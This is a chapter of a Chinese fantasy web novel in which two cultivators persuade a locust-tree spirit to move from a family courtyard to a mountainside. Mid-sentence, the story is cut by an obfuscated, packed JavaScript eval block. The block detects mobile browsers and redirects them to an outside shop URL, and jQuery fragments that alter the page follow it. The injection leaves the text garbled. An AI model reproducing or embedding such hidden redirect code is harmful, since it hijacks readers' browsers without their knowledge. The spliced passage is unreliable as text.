110. 第 110 章

作品:《师妹她倒反天罡

    半夜三更,皎洁的月光照亮了底下一座破旧的小院。


    呼啸的风中泛着一股淡淡的水腥味,小院无人,只剩下院子中央一颗高大的树木,树枝飘摇,小院在黑夜中安然沉睡。


    白色的花穗仿若铃铛一般飞舞飘动,树枝的婆娑声在安静的夜里格外悦耳。


    四周的邻里相继关上院门,屋里的蜡烛也熄了,不甚清晰的交谈声音越来越小,四周沉寂下来。


    正在这时,茂盛的槐树静止了一瞬,在静止的刹那间,花朵闪耀出一股温润的光,很快消失。


    一个少女缓缓落地,她的白色裙摆像波浪一样,落地时弯曲的裙摆就如同拍打的浪花,极其灵动。


    她往而后捋了绿自己的头发,不小心拽断一根惹得她轻吸一口气,而她掌中的那根头发竟然变成了一片树叶。


    她蹲下小心将树叶放在地上,摇头惋惜。


    房屋顶没人发现的角落,一个脑袋从屋脊处伸出,待看见院子里的人,立即扯了扯身边的另一位。


    逢玉睁开了眼睛,探头往下一看,正巧看见院中的少女站起身。


    她惊讶地挑挑眉,看向苏准,两人目光交汇上,都懂了彼此的想法。


    他俩在入夜后守在这里,期间没有任何人从门或者墙进入老王头家,而此时院子里却突然出现一个少女,这很不寻常。


    少女抬头看向四周,没发现什么,于是开始绕着槐树精走。


    她边走边嘟囔;“说话就说话,扯我头发干什么?。”


    逢玉听见她的声音,想起白日里来老王头家查看槐树的时候,为了看槐树有没有异常,她伸手扯了一片叶子,还捋了一小串花。


    下面这“人”真的是槐树精?!


    她与苏准不说话,低头用玉牌沟通。


    花草树木成精后与动物成精不同,他们的本体的没办法移动,槐树精就算直种类决定了他们不能离自己的本体太远。


    苏准决定直接与槐树精交谈,就算她要跑,迟早也要回老王头家,毕竟本体在这儿。


    这是苏准的任务,他做的决定逢玉没有任何异议。


    在槐树精检查槐树的时候,两人快速跳下房顶,身体轻飘飘落下。


    逢玉顺手结了一个屏障,将老王头家与外界隔绝开。


    槐树精从树后绕回来,猛地看见院子里多了两个人,瞪大眼睛身体后仰,吓得要倒过去。


    苏准正要开口,就见槐树精直接原地消失,身体化成一缕只有修者才能看见的白光,藏进了槐树里。


    “我们两个没有要害你的意思,”苏准皱眉,“能否出来说几句话。”


    槐树没有任何变化,枝干在夜风中有规律地摇着。


    苏准明白,槐树精这是拒绝沟通。


    逢玉走到树下,抬头看满目繁枝,槐树突然猛晃了一下,如同瑟缩。


    逢玉抬起胳膊,摸上离自己最近的一根枝条,槐树又晃了一下,她听到树身深处传来一个声音。


    “住手!”


    逢玉恍若未闻,手指触碰到最嫩的那片树叶。


    “我出来,你别摸了!”


    少女灵动的声音又响起,逢玉停了手,她面前显现出一个人,正是槐树精。


    她急得抬起双手,却好像不敢靠近逢玉:“你快放下!”


    逢玉听话地放开了枝条。


    槐树精见此拍拍胸口,松了一口气。她语气很快地说:“你们人不是讲究先礼后兵,怎么能先动手!”


    “你懂这么多?”逢玉问。


    槐树精抬着下巴“哼”了一声,“当然,这家的小孩念书时我听过,记下来了。”


    苏准看她也只有十几岁的模样,老王头家的这棵槐树树龄还不至于能生灵的地步。


    顶着槐树精打量的目光,苏准说:“我们有几句话问你,你如实作答我们不会为难你。”


    “先等等,”槐树精说,“人跟人刚见面的时候不是都要自我介绍,你们叫什么?”


    “我叫苏准。”


    “逢玉,”逢玉说完,她又问槐树精,“你怎么称呼?”


    槐树精对于逢玉主动问她姓名这件事非常满意,她弯起嘴角说:“叫我槐槐,现在你们可以问了,问题不要太难。”


    逢玉看向苏准,只听他问:“你如今多大了?”


    槐树精一听就皱起来眉头,“三百岁?好像快四百岁了,我们槐树不会一直记着自己的年龄,跟你们人不一样。”


    “这棵树只生长了十几年,你不是这棵树的树精?”苏准又问。


    槐槐说:“不算是,这件事说起来有些长。”


    苏准:“我们有时间,你慢慢说。”


    槐槐是生活在山林间的一颗槐树,她生得高大茂密,与周围的树都不同,他的身躯要两个人牵着手才能环绕过来。


    有一日,她碰到了闯入山林的陌生人,那是一个年轻男人,手里拿着弹弓像是来打猎的。槐槐见过打猎的猎户,他们手里的武器跟这个男人都不一样,是长长的弓箭,有些腰里还会绑着砍刀。


    那个男人看见了在树下蹲着的兔子,连忙用弹弓去打,可是弹弓打到了槐槐的身体,兔子被惊吓到直接跑进了灌丛里。


    男人很懊恼,槐槐听见他说:“一定得抓住这个兔子,给她补补身体。”


    槐槐听懂了,她知道这个男人是为了别人才来打猎,可是他有点笨,根本不会打猎。


    槐槐在男人又一次看到兔子的时候,甩出几片树叶,将那兔子定在地上,男人成功抓到了兔子,也看到了槐槐的树叶。


    他说:“是这棵槐树帮了我?”


    他惊讶不已地看着面前高如云端的槐树,从地面上长出来的一株小树苗拔了起来,带回了家。


    槐槐虽然没感觉到很疼,但对于男人这种行为还是有些生气,他竟然直接拔下了她的一根脚趾!


    “后面发生什么,我就不知道了,时间过去很久,山林里烧起一场大火,我的身体被烧没了,那时我突然想起来自己有株树苗被人带走,所以想出来找找看。”


    找不到新的身体她会死,原先的身体被火烧空一样会死,槐槐的决定是一意孤行,她没有别的退路。


    她凭着感应来到这里的时候还是冬天,树木凋零,她很虚弱,在树身里睡了一个冬天,直到春日万物复苏,槐树重新生根发芽,她修养好了自己的身体。


    逢玉听完有些震惊,这是一个很简单还有些励志的故事,槐树精槐槐来到老王头家是因为原来的身体被毁,可她来到之后却把老王头一家赶离了自己的家。


    苏准道:“你在夜里唱歌将这户人家直接吓走,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899038|180460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    影响到周围邻居生活,你想要待在在这里就要服从这里的规矩,这对你隐藏自己也有利。”


    槐槐一听,将脸皱成一团:“我也不想啊,可是这城里蜜蜂很少,我得用歌声吸引蜜蜂帮我传播花粉。”


    “原先我生活的山林,里面各种蜂都有,我根本不用唱歌的。”


    这原来是树类吸引蜜蜂的方式么,逢玉还是第一次听到。


    苏准严肃地说:“我们是这里的百姓特地找来的修者,他们不堪你扰,认为这个院子里有妖,让我们帮忙解决掉,你若再不收敛我们只能将你搬离这里。”


    “好啊!搬到哪里去?”


    她双眼发亮:“东边山里行不行?我早就去看过,那里很适合我生长。”


    苏准没想到槐槐竟然是这个反应。


    他跟逢玉对视一眼,说:“还是按你的方法来。”


    逢玉说:“可以。”


    槐槐搬走以后,周围的邻居都会心安,这个院子里不会再有稀奇古怪的事情发生。


    与槐槐交谈过后,逢玉和苏准回了客栈。一大早,两人又赶去官衙,让赵捕头召集人手,来搬槐树。


    官衙雇了牛车,听从苏准的话将槐槐拉到了东边山里重新栽植。


    期间赵捕头不放心地问逢玉:“仙长,搬走槐树之后老王头家真的没问题了吗?”


    逢玉点点头:“不会有问题了。”


    “它真的成精了?”赵捕头低声问,表情小心翼翼,生怕被别人听到。


    “没有,”逢玉否认,“自己吓唬自己而已。”


    她重复了昨日那位老大爷的话。


    赵捕头觉得有哪里不对,既然没有成精,那些怪事怎么会发生,难道挪走槐树就不会有怪事了吗?


    他没再问,他觉得自己问了逢玉也不会答,他清楚其中一定有不能说的秘密。


    槐槐种在山间一片平坦肥沃的土地上,此处向阳,周围都是矮小的草丛,不会有其它树木与槐槐争夺养分。


    临走之前,苏准绕着槐树检查一周,发现栽种没有问题,便让所有人返回。


    突然,如雪粒般洁白的槐花从头顶飘落下来,准确无误地落入了苏准的掌心,他低头看了一会儿,又看向逢玉。


    逢玉也正看向自己的手掌,她看了一眼,抬头望向槐树树冠。


    今日挪树,槐树上面的槐花与绿叶折腾掉不少,相比昨日的槐树,有些光突突的,可树干笔直,树枝翠绿,槐树还有着无限的生机与希望。


    赵捕头一行人走了一段距离,看到逢玉和苏准站在槐树底下,于是停下来等待他俩。


    “再掉你就真没头发了。”


    逢玉朝上喊道。


    槐树晃了一下,这下一片树叶和花朵也没掉,像是在说她知道了。


    逢玉笑了笑,合起手掌转身,恰巧看见半空中三四只胖乎乎的蜜蜂往她身后的方向飞去。


    “你在笑什么?”


    行到半路,苏准看到逢玉脸上的表情,忍不住问。


    逢玉看了一眼赵捕头他们,小声回答:“我很想问,槐槐所有的花和树叶都掉光后,她变成人形时真的会没有头发吗?”


    苏准一怔,随即唇边绽开浅浅的笑。


    山坡上,槐树正在骄阳下迎着清风拂来的方向,慢慢晃动着身影。